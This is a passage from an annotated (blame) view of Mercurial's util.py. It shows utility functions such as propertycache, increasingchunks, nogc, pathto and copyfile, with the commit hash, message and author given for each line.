changeset
|
1703 return f |
431462bd8478
fix memory usage of revlog caches by limiting cache size [issue1639]
Matt Mackall <mpm@selenic.com>
parents:
9089
diff
changeset
|
1704 |
43076
2372284d9457
formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents:
42766
diff
changeset
|
1705 |
8207
dd8d5be57d65
util: take propertycache from context.py
Matt Mackall <mpm@selenic.com>
parents:
8181
diff
changeset
|
1706 class propertycache(object): |
dd8d5be57d65
util: take propertycache from context.py
Matt Mackall <mpm@selenic.com>
parents:
8181
diff
changeset
|
1707 def __init__(self, func): |
dd8d5be57d65
util: take propertycache from context.py
Matt Mackall <mpm@selenic.com>
parents:
8181
diff
changeset
|
1708 self.func = func |
dd8d5be57d65
util: take propertycache from context.py
Matt Mackall <mpm@selenic.com>
parents:
8181
diff
changeset
|
1709 self.name = func.__name__ |
43076
2372284d9457
formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents:
42766
diff
changeset
|
1710 |
8207
dd8d5be57d65
util: take propertycache from context.py
Matt Mackall <mpm@selenic.com>
parents:
8181
diff
changeset
|
1711 def __get__(self, obj, type=None): |
dd8d5be57d65
util: take propertycache from context.py
Matt Mackall <mpm@selenic.com>
parents:
8181
diff
changeset
|
1712 result = self.func(obj) |
18013
98c867ac1330
clfilter: add a propertycache that must be unfiltered
Pierre-Yves David <pierre-yves.david@logilab.fr>
parents:
17962
diff
changeset
|
1713 self.cachevalue(obj, result) |
8207
dd8d5be57d65
util: take propertycache from context.py
Matt Mackall <mpm@selenic.com>
parents:
8181
diff
changeset
|
1714 return result |
dd8d5be57d65
util: take propertycache from context.py
Matt Mackall <mpm@selenic.com>
parents:
8181
diff
changeset
|
1715 |
18013
98c867ac1330
clfilter: add a propertycache that must be unfiltered
Pierre-Yves David <pierre-yves.david@logilab.fr>
parents:
17962
diff
changeset
|
1716 def cachevalue(self, obj, value): |
19951
d51c4d85ec23
spelling: random spell checker fixes
Mads Kiilerich <madski@unity3d.com>
parents:
19852
diff
changeset
|
1717 # __dict__ assignment required to bypass __setattr__ (eg: repoview) |
19845
a1237a4b437d
repoview: make propertycache.setcache compatible with repoview
Pierre-Yves David <pierre-yves.david@ens-lyon.org>
parents:
19461
diff
changeset
|
1718 obj.__dict__[self.name] = value |
18013
98c867ac1330
clfilter: add a propertycache that must be unfiltered
Pierre-Yves David <pierre-yves.david@logilab.fr>
parents:
17962
diff
changeset
|
1719 |
43076
2372284d9457
formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents:
42766
diff
changeset
|
1720 |
35014
be6aa0cff8ea
util: add util.clearcachedproperty
Mark Thomas <mbthomas@fb.com>
parents:
34647
diff
changeset
|
1721 def clearcachedproperty(obj, prop): |
be6aa0cff8ea
util: add util.clearcachedproperty
Mark Thomas <mbthomas@fb.com>
parents:
34647
diff
changeset
|
1722 '''clear a cached property value, if one has been set''' |
40689
475921a3028c
py3: cast attribute name to sysstr in clearcachedproperty()
Yuya Nishihara <yuya@tcha.org>
parents:
40251
diff
changeset
|
1723 prop = pycompat.sysstr(prop) |
35014
be6aa0cff8ea
util: add util.clearcachedproperty
Mark Thomas <mbthomas@fb.com>
parents:
34647
diff
changeset
|
1724 if prop in obj.__dict__: |
be6aa0cff8ea
util: add util.clearcachedproperty
Mark Thomas <mbthomas@fb.com>
parents:
34647
diff
changeset
|
1725 del obj.__dict__[prop] |
be6aa0cff8ea
util: add util.clearcachedproperty
Mark Thomas <mbthomas@fb.com>
parents:
34647
diff
changeset
|
1726 |
43076
2372284d9457
formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents:
42766
diff
changeset
|
1727 |
7396
526c40a74bd0
templater: return data in increasing chunk sizes
Brendan Cully <brendan@kublai.com>
parents:
7301
diff
changeset
|
1728 def increasingchunks(source, min=1024, max=65536): |
526c40a74bd0
templater: return data in increasing chunk sizes
Brendan Cully <brendan@kublai.com>
parents:
7301
diff
changeset
|
1729 '''return no less than min bytes per chunk while data remains, |
526c40a74bd0
templater: return data in increasing chunk sizes
Brendan Cully <brendan@kublai.com>
parents:
7301
diff
changeset
|
1730 doubling min after each chunk until it reaches max''' |
43076
2372284d9457
formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents:
42766
diff
changeset
|
1731 |
7396
526c40a74bd0
templater: return data in increasing chunk sizes
Brendan Cully <brendan@kublai.com>
parents:
7301
diff
changeset
|
1732 def log2(x): |
526c40a74bd0
templater: return data in increasing chunk sizes
Brendan Cully <brendan@kublai.com>
parents:
7301
diff
changeset
|
1733 if not x: |
526c40a74bd0
templater: return data in increasing chunk sizes
Brendan Cully <brendan@kublai.com>
parents:
7301
diff
changeset
|
1734 return 0 |
526c40a74bd0
templater: return data in increasing chunk sizes
Brendan Cully <brendan@kublai.com>
parents:
7301
diff
changeset
|
1735 i = 0 |
526c40a74bd0
templater: return data in increasing chunk sizes
Brendan Cully <brendan@kublai.com>
parents:
7301
diff
changeset
|
1736 while x: |
526c40a74bd0
templater: return data in increasing chunk sizes
Brendan Cully <brendan@kublai.com>
parents:
7301
diff
changeset
|
1737 x >>= 1 |
526c40a74bd0
templater: return data in increasing chunk sizes
Brendan Cully <brendan@kublai.com>
parents:
7301
diff
changeset
|
1738 i += 1 |
526c40a74bd0
templater: return data in increasing chunk sizes
Brendan Cully <brendan@kublai.com>
parents:
7301
diff
changeset
|
1739 return i - 1 |
526c40a74bd0
templater: return data in increasing chunk sizes
Brendan Cully <brendan@kublai.com>
parents:
7301
diff
changeset
|
1740 |
526c40a74bd0
templater: return data in increasing chunk sizes
Brendan Cully <brendan@kublai.com>
parents:
7301
diff
changeset
|
1741 buf = [] |
526c40a74bd0
templater: return data in increasing chunk sizes
Brendan Cully <brendan@kublai.com>
parents:
7301
diff
changeset
|
1742 blen = 0 |
526c40a74bd0
templater: return data in increasing chunk sizes
Brendan Cully <brendan@kublai.com>
parents:
7301
diff
changeset
|
1743 for chunk in source: |
526c40a74bd0
templater: return data in increasing chunk sizes
Brendan Cully <brendan@kublai.com>
parents:
7301
diff
changeset
|
1744 buf.append(chunk) |
526c40a74bd0
templater: return data in increasing chunk sizes
Brendan Cully <brendan@kublai.com>
parents:
7301
diff
changeset
|
1745 blen += len(chunk) |
526c40a74bd0
templater: return data in increasing chunk sizes
Brendan Cully <brendan@kublai.com>
parents:
7301
diff
changeset
|
1746 if blen >= min: |
526c40a74bd0
templater: return data in increasing chunk sizes
Brendan Cully <brendan@kublai.com>
parents:
7301
diff
changeset
|
1747 if min < max: |
526c40a74bd0
templater: return data in increasing chunk sizes
Brendan Cully <brendan@kublai.com>
parents:
7301
diff
changeset
|
1748 min = min << 1 |
526c40a74bd0
templater: return data in increasing chunk sizes
Brendan Cully <brendan@kublai.com>
parents:
7301
diff
changeset
|
1749 nmin = 1 << log2(blen) |
526c40a74bd0
templater: return data in increasing chunk sizes
Brendan Cully <brendan@kublai.com>
parents:
7301
diff
changeset
|
1750 if nmin > min: |
526c40a74bd0
templater: return data in increasing chunk sizes
Brendan Cully <brendan@kublai.com>
parents:
7301
diff
changeset
|
1751 min = nmin |
526c40a74bd0
templater: return data in increasing chunk sizes
Brendan Cully <brendan@kublai.com>
parents:
7301
diff
changeset
|
1752 if min > max: |
526c40a74bd0
templater: return data in increasing chunk sizes
Brendan Cully <brendan@kublai.com>
parents:
7301
diff
changeset
|
1753 min = max |
43077
687b865b95ad
formatting: byteify all mercurial/ and hgext/ string literals
Augie Fackler <augie@google.com>
parents:
43076
diff
changeset
|
1754 yield b''.join(buf) |
7396
526c40a74bd0
templater: return data in increasing chunk sizes
Brendan Cully <brendan@kublai.com>
parents:
7301
diff
changeset
|
1755 blen = 0 |
526c40a74bd0
templater: return data in increasing chunk sizes
Brendan Cully <brendan@kublai.com>
parents:
7301
diff
changeset
|
1756 buf = [] |
526c40a74bd0
templater: return data in increasing chunk sizes
Brendan Cully <brendan@kublai.com>
parents:
7301
diff
changeset
|
1757 if buf: |
43077
687b865b95ad
formatting: byteify all mercurial/ and hgext/ string literals
Augie Fackler <augie@google.com>
parents:
43076
diff
changeset
|
1758 yield b''.join(buf) |
7396
526c40a74bd0
templater: return data in increasing chunk sizes
Brendan Cully <brendan@kublai.com>
parents:
7301
diff
changeset
|
1759 |
43076
2372284d9457
formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents:
42766
diff
changeset
|
1760 |
10282
08a0f04b56bd
many, many trivial check-code fixups
Matt Mackall <mpm@selenic.com>
parents:
10264
diff
changeset
|
1761 def always(fn): |
08a0f04b56bd
many, many trivial check-code fixups
Matt Mackall <mpm@selenic.com>
parents:
10264
diff
changeset
|
1762 return True |
08a0f04b56bd
many, many trivial check-code fixups
Matt Mackall <mpm@selenic.com>
parents:
10264
diff
changeset
|
1763 |
43076
2372284d9457
formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents:
42766
diff
changeset
|
1764 |
10282
08a0f04b56bd
many, many trivial check-code fixups
Matt Mackall <mpm@selenic.com>
parents:
10264
diff
changeset
|
1765 def never(fn): |
08a0f04b56bd
many, many trivial check-code fixups
Matt Mackall <mpm@selenic.com>
parents:
10264
diff
changeset
|
1766 return False |
724
1c0c413cccdd
Get add and locate to use new repo and dirstate walk code.
Bryan O'Sullivan <bos@serpentine.com>
parents:
705
diff
changeset
|
1767 |
43076
2372284d9457
formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents:
42766
diff
changeset
|
1768 |
23495
b25f07cb5399
util: add a 'nogc' decorator to disable the garbage collection
Pierre-Yves David <pierre-yves.david@fb.com>
parents:
23370
diff
changeset
|
1769 def nogc(func): |
b25f07cb5399
util: add a 'nogc' decorator to disable the garbage collection
Pierre-Yves David <pierre-yves.david@fb.com>
parents:
23370
diff
changeset
|
1770 """disable garbage collector |
b25f07cb5399
util: add a 'nogc' decorator to disable the garbage collection
Pierre-Yves David <pierre-yves.david@fb.com>
parents:
23370
diff
changeset
|
1771 |
b25f07cb5399
util: add a 'nogc' decorator to disable the garbage collection
Pierre-Yves David <pierre-yves.david@fb.com>
parents:
23370
diff
changeset
|
1772 Python's garbage collector triggers a GC each time a certain number of |
b25f07cb5399
util: add a 'nogc' decorator to disable the garbage collection
Pierre-Yves David <pierre-yves.david@fb.com>
parents:
23370
diff
changeset
|
1773 container objects (the number being defined by gc.get_threshold()) are |
b25f07cb5399
util: add a 'nogc' decorator to disable the garbage collection
Pierre-Yves David <pierre-yves.david@fb.com>
parents:
23370
diff
changeset
|
1774 allocated even when marked not to be tracked by the collector. Tracking has |
b25f07cb5399
util: add a 'nogc' decorator to disable the garbage collection
Pierre-Yves David <pierre-yves.david@fb.com>
parents:
23370
diff
changeset
|
1775 no effect on when GCs are triggered, only on what objects the GC looks |
23543
4dd8a6a1240d
spelling: fixes from proofreading of spell checker issues
Mads Kiilerich <madski@unity3d.com>
parents:
23495
diff
changeset
|
1776 into. As a workaround, disable GC while building complex (huge) |
23495
b25f07cb5399
util: add a 'nogc' decorator to disable the garbage collection
Pierre-Yves David <pierre-yves.david@fb.com>
parents:
23370
diff
changeset
|
1777 containers. |
b25f07cb5399
util: add a 'nogc' decorator to disable the garbage collection
Pierre-Yves David <pierre-yves.david@fb.com>
parents:
23370
diff
changeset
|
1778 |
33799
05264fc9d8d6
util: make nogc effective for CPython
Jun Wu <quark@fb.com>
parents:
33793
diff
changeset
|
1779 This garbage collector issue have been fixed in 2.7. But it still affect |
05264fc9d8d6
util: make nogc effective for CPython
Jun Wu <quark@fb.com>
parents:
33793
diff
changeset
|
1780 CPython's performance. |
23495
b25f07cb5399
util: add a 'nogc' decorator to disable the garbage collection
Pierre-Yves David <pierre-yves.david@fb.com>
parents:
23370
diff
changeset
|
1781 """ |
43076
2372284d9457
formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents:
42766
diff
changeset
|
1782 |
23495
b25f07cb5399
util: add a 'nogc' decorator to disable the garbage collection
Pierre-Yves David <pierre-yves.david@fb.com>
parents:
23370
diff
changeset
|
1783 def wrapper(*args, **kwargs): |
b25f07cb5399
util: add a 'nogc' decorator to disable the garbage collection
Pierre-Yves David <pierre-yves.david@fb.com>
parents:
23370
diff
changeset
|
1784 gcenabled = gc.isenabled() |
b25f07cb5399
util: add a 'nogc' decorator to disable the garbage collection
Pierre-Yves David <pierre-yves.david@fb.com>
parents:
23370
diff
changeset
|
1785 gc.disable() |
b25f07cb5399
util: add a 'nogc' decorator to disable the garbage collection
Pierre-Yves David <pierre-yves.david@fb.com>
parents:
23370
diff
changeset
|
1786 try: |
b25f07cb5399
util: add a 'nogc' decorator to disable the garbage collection
Pierre-Yves David <pierre-yves.david@fb.com>
parents:
23370
diff
changeset
|
1787 return func(*args, **kwargs) |
b25f07cb5399
util: add a 'nogc' decorator to disable the garbage collection
Pierre-Yves David <pierre-yves.david@fb.com>
parents:
23370
diff
changeset
|
1788 finally: |
b25f07cb5399
util: add a 'nogc' decorator to disable the garbage collection
Pierre-Yves David <pierre-yves.david@fb.com>
parents:
23370
diff
changeset
|
1789 if gcenabled: |
b25f07cb5399
util: add a 'nogc' decorator to disable the garbage collection
Pierre-Yves David <pierre-yves.david@fb.com>
parents:
23370
diff
changeset
|
1790 gc.enable() |
43076
2372284d9457
formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents:
42766
diff
changeset
|
1791 |
23495
b25f07cb5399
util: add a 'nogc' decorator to disable the garbage collection
Pierre-Yves David <pierre-yves.david@fb.com>
parents:
23370
diff
changeset
|
1792 return wrapper |
b25f07cb5399
util: add a 'nogc' decorator to disable the garbage collection
Pierre-Yves David <pierre-yves.david@fb.com>
parents:
23370
diff
changeset
|
1793 |
43076
2372284d9457
formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents:
42766
diff
changeset
|
1794 |
33799
05264fc9d8d6
util: make nogc effective for CPython
Jun Wu <quark@fb.com>
parents:
33793
diff
changeset
|
1795 if pycompat.ispypy: |
05264fc9d8d6
util: make nogc effective for CPython
Jun Wu <quark@fb.com>
parents:
33793
diff
changeset
|
1796 # PyPy runs slower with gc disabled |
05264fc9d8d6
util: make nogc effective for CPython
Jun Wu <quark@fb.com>
parents:
33793
diff
changeset
|
1797 nogc = lambda x: x |
05264fc9d8d6
util: make nogc effective for CPython
Jun Wu <quark@fb.com>
parents:
33793
diff
changeset
|
1798 |
43076
2372284d9457
formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents:
42766
diff
changeset
|
1799 |
4229
24c22a3f2ef8
pass repo.root to util.pathto() in preparation for the next patch
Alexis S. L. Carvalho <alexis@cecm.usp.br>
parents:
4129
diff
changeset
|
1800 def pathto(root, n1, n2): |
886
509de8ab6f31
Fix walk path handling on Windows
Bryan O'Sullivan <bos@serpentine.com>
parents:
884
diff
changeset
|
1801 '''return the relative path from one place to another. |
4229
24c22a3f2ef8
pass repo.root to util.pathto() in preparation for the next patch
Alexis S. L. Carvalho <alexis@cecm.usp.br>
parents:
4129
diff
changeset
|
1802 root should use os.sep to separate directories |
3669
48768b1ab23c
fix util.pathto
Alexis S. L. Carvalho <alexis@cecm.usp.br>
parents:
3629
diff
changeset
|
1803 n1 should use os.sep to separate directories |
48768b1ab23c
fix util.pathto
Alexis S. L. Carvalho <alexis@cecm.usp.br>
parents:
3629
diff
changeset
|
1804 n2 should use "/" to separate directories |
48768b1ab23c
fix util.pathto
Alexis S. L. Carvalho <alexis@cecm.usp.br>
parents:
3629
diff
changeset
|
1805 returns an os.sep-separated path. |
4229
24c22a3f2ef8
pass repo.root to util.pathto() in preparation for the next patch
Alexis S. L. Carvalho <alexis@cecm.usp.br>
parents:
4129
diff
changeset
|
1806 |
24c22a3f2ef8
pass repo.root to util.pathto() in preparation for the next patch
Alexis S. L. Carvalho <alexis@cecm.usp.br>
parents:
4129
diff
changeset
|
1807 If n1 is a relative path, it's assumed it's |
24c22a3f2ef8
pass repo.root to util.pathto() in preparation for the next patch
Alexis S. L. Carvalho <alexis@cecm.usp.br>
parents:
4129
diff
changeset
|
1808 relative to root. |
24c22a3f2ef8
pass repo.root to util.pathto() in preparation for the next patch
Alexis S. L. Carvalho <alexis@cecm.usp.br>
parents:
4129
diff
changeset
|
1809 n2 should always be relative to root. |
3669
48768b1ab23c
fix util.pathto
Alexis S. L. Carvalho <alexis@cecm.usp.br>
parents:
3629
diff
changeset
|
1810 ''' |
10282
08a0f04b56bd
many, many trivial check-code fixups
Matt Mackall <mpm@selenic.com>
parents:
10264
diff
changeset
|
1811 if not n1: |
08a0f04b56bd
many, many trivial check-code fixups
Matt Mackall <mpm@selenic.com>
parents:
10264
diff
changeset
|
1812 return localpath(n2) |
4230
c93562fb12cc
Fix handling of paths when run outside the repo.
Alexis S. L. Carvalho <alexis@cecm.usp.br>
parents:
4229
diff
changeset
|
1813 if os.path.isabs(n1): |
c93562fb12cc
Fix handling of paths when run outside the repo.
Alexis S. L. Carvalho <alexis@cecm.usp.br>
parents:
4229
diff
changeset
|
1814 if os.path.splitdrive(root)[0] != os.path.splitdrive(n1)[0]: |
c93562fb12cc
Fix handling of paths when run outside the repo.
Alexis S. L. Carvalho <alexis@cecm.usp.br>
parents:
4229
diff
changeset
|
1815 return os.path.join(root, localpath(n2)) |
43077
687b865b95ad
formatting: byteify all mercurial/ and hgext/ string literals
Augie Fackler <augie@google.com>
parents:
43076
diff
changeset
|
1816 n2 = b'/'.join((pconvert(root), n2)) |
687b865b95ad
formatting: byteify all mercurial/ and hgext/ string literals
Augie Fackler <augie@google.com>
parents:
43076
diff
changeset
|
1817 a, b = splitpath(n1), n2.split(b'/') |
1541
bf4e7ef08741
fixed some stuff pychecker shows, marked unclear/wrong stuff with XXX
twaldmann@thinkmo.de
parents:
1528
diff
changeset
|
1818 a.reverse() |
bf4e7ef08741
fixed some stuff pychecker shows, marked unclear/wrong stuff with XXX
twaldmann@thinkmo.de
parents:
1528
diff
changeset
|
1819 b.reverse() |
884
087771ebe2e6
Fix walk code for files that do not exist anywhere, and unhandled types.
Bryan O'Sullivan <bos@serpentine.com>
parents:
878
diff
changeset
|
1820 while a and b and a[-1] == b[-1]: |
1541
bf4e7ef08741
fixed some stuff pychecker shows, marked unclear/wrong stuff with XXX
twaldmann@thinkmo.de
parents:
1528
diff
changeset
|
1821 a.pop() |
bf4e7ef08741
fixed some stuff pychecker shows, marked unclear/wrong stuff with XXX
twaldmann@thinkmo.de
parents:
1528
diff
changeset
|
1822 b.pop() |
884
087771ebe2e6
Fix walk code for files that do not exist anywhere, and unhandled types.
Bryan O'Sullivan <bos@serpentine.com>
parents:
878
diff
changeset
|
1823 b.reverse() |
43077
687b865b95ad
formatting: byteify all mercurial/ and hgext/ string literals
Augie Fackler <augie@google.com>
parents:
43076
diff
changeset
|
1824 return pycompat.ossep.join(([b'..'] * len(a)) + b) or b'.' |
884
087771ebe2e6
Fix walk code for files that do not exist anywhere, and unhandled types.
Bryan O'Sullivan <bos@serpentine.com>
parents:
878
diff
changeset
|
1825 |
43076
2372284d9457
formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents:
42766
diff
changeset
|
1826 |
22633
92b54547ac5d
util: introduce datapath for getting the location of supporting data files
Mads Kiilerich <madski@unity3d.com>
parents:
22632
diff
changeset
|
1827 # the location of data files matching the source code |
43077
687b865b95ad
formatting: byteify all mercurial/ and hgext/ string literals
Augie Fackler <augie@google.com>
parents:
43076
diff
changeset
|
1828 if procutil.mainfrozen() and getattr(sys, 'frozen', None) != b'macosx_app': |
22633
92b54547ac5d
util: introduce datapath for getting the location of supporting data files
Mads Kiilerich <madski@unity3d.com>
parents:
22632
diff
changeset
|
1829 # executable version (py2exe) doesn't support __file__ |
30669
10b17ed9b591
py3: replace sys.executable with pycompat.sysexecutable
Pulkit Goyal <7895pulkit@gmail.com>
parents:
30642
diff
changeset
|
1830 datapath = os.path.dirname(pycompat.sysexecutable) |
22633
92b54547ac5d
util: introduce datapath for getting the location of supporting data files
Mads Kiilerich <madski@unity3d.com>
parents:
22632
diff
changeset
|
1831 else: |
31074
2912b06905dc
py3: use pycompat.fsencode() to convert __file__ to bytes
Pulkit Goyal <7895pulkit@gmail.com>
parents:
30988
diff
changeset
|
1832 datapath = os.path.dirname(pycompat.fsencode(__file__)) |
30301
8321b083a83d
py3: make util.datapath a bytes variable
Pulkit Goyal <7895pulkit@gmail.com>
parents:
30265
diff
changeset
|
1833 |
22638
0d0350cfc7ab
i18n: use datapath for i18n like for templates and help
Mads Kiilerich <madski@unity3d.com>
parents:
22633
diff
changeset
|
1834 i18n.setdatapath(datapath) |
0d0350cfc7ab
i18n: use datapath for i18n like for templates and help
Mads Kiilerich <madski@unity3d.com>
parents:
22633
diff
changeset
|
1835 |
43076
2372284d9457
formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents:
42766
diff
changeset
|
1836 |
7388
5751631246de
dispatch: generalize signature checking for extension command wrapping
Matt Mackall <mpm@selenic.com>
parents:
7301
diff
changeset
|
1837 def checksignature(func): |
5751631246de
dispatch: generalize signature checking for extension command wrapping
Matt Mackall <mpm@selenic.com>
parents:
7301
diff
changeset
|
1838 '''wrap a function with code to check for calling errors''' |
43076
2372284d9457
formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents:
42766
diff
changeset
|
1839 |
7388
5751631246de
dispatch: generalize signature checking for extension command wrapping
Matt Mackall <mpm@selenic.com>
parents:
7301
diff
changeset
|
1840 def check(*args, **kwargs): |
5751631246de
dispatch: generalize signature checking for extension command wrapping
Matt Mackall <mpm@selenic.com>
parents:
7301
diff
changeset
|
1841 try: |
5751631246de
dispatch: generalize signature checking for extension command wrapping
Matt Mackall <mpm@selenic.com>
parents:
7301
diff
changeset
|
1842 return func(*args, **kwargs) |
5751631246de
dispatch: generalize signature checking for extension command wrapping
Matt Mackall <mpm@selenic.com>
parents:
7301
diff
changeset
|
1843 except TypeError: |
5751631246de
dispatch: generalize signature checking for extension command wrapping
Matt Mackall <mpm@selenic.com>
parents:
7301
diff
changeset
|
1844 if len(traceback.extract_tb(sys.exc_info()[2])) == 1: |
7646 | 1845 raise error.SignatureError |
7388
5751631246de
dispatch: generalize signature checking for extension command wrapping
Matt Mackall <mpm@selenic.com>
parents:
7301
diff
changeset
|
1846 raise |
5751631246de
dispatch: generalize signature checking for extension command wrapping
Matt Mackall <mpm@selenic.com>
parents:
7301
diff
changeset
|
1847 |
5751631246de
dispatch: generalize signature checking for extension command wrapping
Matt Mackall <mpm@selenic.com>
parents:
7301
diff
changeset
|
1848 return check |
5751631246de
dispatch: generalize signature checking for extension command wrapping
Matt Mackall <mpm@selenic.com>
parents:
7301
diff
changeset
|
1849 |
43076
2372284d9457
formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents:
42766
diff
changeset
|
1850 |
31575
e506e461c7a9
util: disable hardlink for copyfile if fstype is outside a whitelist
Jun Wu <quark@fb.com>
parents:
31573
diff
changeset
|
1851 # a whilelist of known filesystems where hardlink works reliably |
32291
bd872f64a8ba
cleanup: use set literals
Martin von Zweigbergk <martinvonz@google.com>
parents:
32290
diff
changeset
|
1852 _hardlinkfswhitelist = { |
43077
687b865b95ad
formatting: byteify all mercurial/ and hgext/ string literals
Augie Fackler <augie@google.com>
parents:
43076
diff
changeset
|
1853 b'apfs', |
687b865b95ad
formatting: byteify all mercurial/ and hgext/ string literals
Augie Fackler <augie@google.com>
parents:
43076
diff
changeset
|
1854 b'btrfs', |
687b865b95ad
formatting: byteify all mercurial/ and hgext/ string literals
Augie Fackler <augie@google.com>
parents:
43076
diff
changeset
|
1855 b'ext2', |
687b865b95ad
formatting: byteify all mercurial/ and hgext/ string literals
Augie Fackler <augie@google.com>
parents:
43076
diff
changeset
|
1856 b'ext3', |
687b865b95ad
formatting: byteify all mercurial/ and hgext/ string literals
Augie Fackler <augie@google.com>
parents:
43076
diff
changeset
|
1857 b'ext4', |
687b865b95ad
formatting: byteify all mercurial/ and hgext/ string literals
Augie Fackler <augie@google.com>
parents:
43076
diff
changeset
|
1858 b'hfs', |
687b865b95ad
formatting: byteify all mercurial/ and hgext/ string literals
Augie Fackler <augie@google.com>
parents:
43076
diff
changeset
|
1859 b'jfs', |
687b865b95ad
formatting: byteify all mercurial/ and hgext/ string literals
Augie Fackler <augie@google.com>
parents:
43076
diff
changeset
|
1860 b'NTFS', |
687b865b95ad
formatting: byteify all mercurial/ and hgext/ string literals
Augie Fackler <augie@google.com>
parents:
43076
diff
changeset
|
1861 b'reiserfs', |
687b865b95ad
formatting: byteify all mercurial/ and hgext/ string literals
Augie Fackler <augie@google.com>
parents:
43076
diff
changeset
|
1862 b'tmpfs', |
687b865b95ad
formatting: byteify all mercurial/ and hgext/ string literals
Augie Fackler <augie@google.com>
parents:
43076
diff
changeset
|
1863 b'ufs', |
687b865b95ad
formatting: byteify all mercurial/ and hgext/ string literals
Augie Fackler <augie@google.com>
parents:
43076
diff
changeset
|
1864 b'xfs', |
687b865b95ad
formatting: byteify all mercurial/ and hgext/ string literals
Augie Fackler <augie@google.com>
parents:
43076
diff
changeset
|
1865 b'zfs', |
32291
bd872f64a8ba
cleanup: use set literals
Martin von Zweigbergk <martinvonz@google.com>
parents:
32290
diff
changeset
|
1866 } |
31575
e506e461c7a9
util: disable hardlink for copyfile if fstype is outside a whitelist
Jun Wu <quark@fb.com>
parents:
31573
diff
changeset
|
1867 |
43076
2372284d9457
formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents:
42766
diff
changeset
|
1868 |
29204
ce2d81aafbae
util: make copyfile avoid ambiguity of file stat if needed
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents:
29201
diff
changeset
|
1869 def copyfile(src, dest, hardlink=False, copystat=False, checkambig=False): |
27369
c48ecc0b5bc9
copyfile: add an optional parameter to copy other stat data
Siddharth Agarwal <sid0@fb.com>
parents:
26665
diff
changeset
|
1870 '''copy a file, preserving mode and optionally other stat info like |
29367
4e6e280e238f
doc: describe detail about checkambig optional argument
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents:
29342
diff
changeset
|
1871 atime/mtime |
4e6e280e238f
doc: describe detail about checkambig optional argument
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents:
29342
diff
changeset
|
1872 |
4e6e280e238f
doc: describe detail about checkambig optional argument
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents:
29342
diff
changeset
|
1873 checkambig argument is used with filestat, and is useful only if |
4e6e280e238f
doc: describe detail about checkambig optional argument
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents:
29342
diff
changeset
|
1874 destination file is guarded by any lock (e.g. repo.lock or |
4e6e280e238f
doc: describe detail about checkambig optional argument
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents:
29342
diff
changeset
|
1875 repo.wlock). |
4e6e280e238f
doc: describe detail about checkambig optional argument
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents:
29342
diff
changeset
|
1876 |
4e6e280e238f
doc: describe detail about checkambig optional argument
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents:
29342
diff
changeset
|
1877 copystat and checkambig should be exclusive. |
4e6e280e238f
doc: describe detail about checkambig optional argument
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents:
29342
diff
changeset
|
1878 ''' |
29204
ce2d81aafbae
util: make copyfile avoid ambiguity of file stat if needed
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents:
29201
diff
changeset
|
1879 assert not (copystat and checkambig) |
ce2d81aafbae
util: make copyfile avoid ambiguity of file stat if needed
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents:
29201
diff
changeset
|
1880 oldstat = None |
18326
614f769e6aa7
util: copyfile: remove dest before copying
Mads Kiilerich <mads@kiilerich.com>
parents:
18026
diff
changeset
|
1881 if os.path.lexists(dest): |
29204
ce2d81aafbae
util: make copyfile avoid ambiguity of file stat if needed
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents:
29201
diff
changeset
|
1882 if checkambig: |
32772
7ad95626f6a7
filestat: move __init__ to frompath constructor
Siddharth Agarwal <sid0@fb.com>
parents:
32749
diff
changeset
|
1883 oldstat = checkambig and filestat.frompath(dest) |
18326
614f769e6aa7
util: copyfile: remove dest before copying
Mads Kiilerich <mads@kiilerich.com>
parents:
18026
diff
changeset
|
1884 unlink(dest) |
31575
e506e461c7a9
util: disable hardlink for copyfile if fstype is outside a whitelist
Jun Wu <quark@fb.com>
parents:
31573
diff
changeset
|
1885 if hardlink: |
e506e461c7a9
util: disable hardlink for copyfile if fstype is outside a whitelist
Jun Wu <quark@fb.com>
parents:
31573
diff
changeset
|
1886 # Hardlinks are problematic on CIFS (issue4546), do not allow hardlinks |
e506e461c7a9
util: disable hardlink for copyfile if fstype is outside a whitelist
Jun Wu <quark@fb.com>
parents:
31573
diff
changeset
|
1887 # unless we are confident that dest is on a whitelisted filesystem. |
31678
1ed57a7dd904
statfs: make getfstype() raise OSError
Yuya Nishihara <yuya@tcha.org>
parents:
31662
diff
changeset
|
1888 try: |
1ed57a7dd904
statfs: make getfstype() raise OSError
Yuya Nishihara <yuya@tcha.org>
parents:
31662
diff
changeset
|
1889 fstype = getfstype(os.path.dirname(dest)) |
1ed57a7dd904
statfs: make getfstype() raise OSError
Yuya Nishihara <yuya@tcha.org>
parents:
31662
diff
changeset
|
1890 except OSError: |
1ed57a7dd904
statfs: make getfstype() raise OSError
Yuya Nishihara <yuya@tcha.org>
parents:
31662
diff
changeset
|
1891 fstype = None |
31575
e506e461c7a9
util: disable hardlink for copyfile if fstype is outside a whitelist
Jun Wu <quark@fb.com>
parents:
31573
diff
changeset
|
1892 if fstype not in _hardlinkfswhitelist: |
e506e461c7a9
util: disable hardlink for copyfile if fstype is outside a whitelist
Jun Wu <quark@fb.com>
parents:
31573
diff
changeset
|
1893 hardlink = False |
